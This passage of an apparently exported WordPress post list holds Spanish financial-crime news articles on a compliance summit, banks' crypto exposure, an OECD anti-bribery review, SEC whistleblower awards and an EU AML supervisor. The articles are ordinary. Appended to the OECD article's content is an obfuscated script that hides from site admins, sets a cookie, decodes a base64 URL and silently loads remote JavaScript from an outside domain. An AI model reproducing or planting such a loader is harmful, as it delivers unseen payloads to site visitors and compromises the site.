ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que 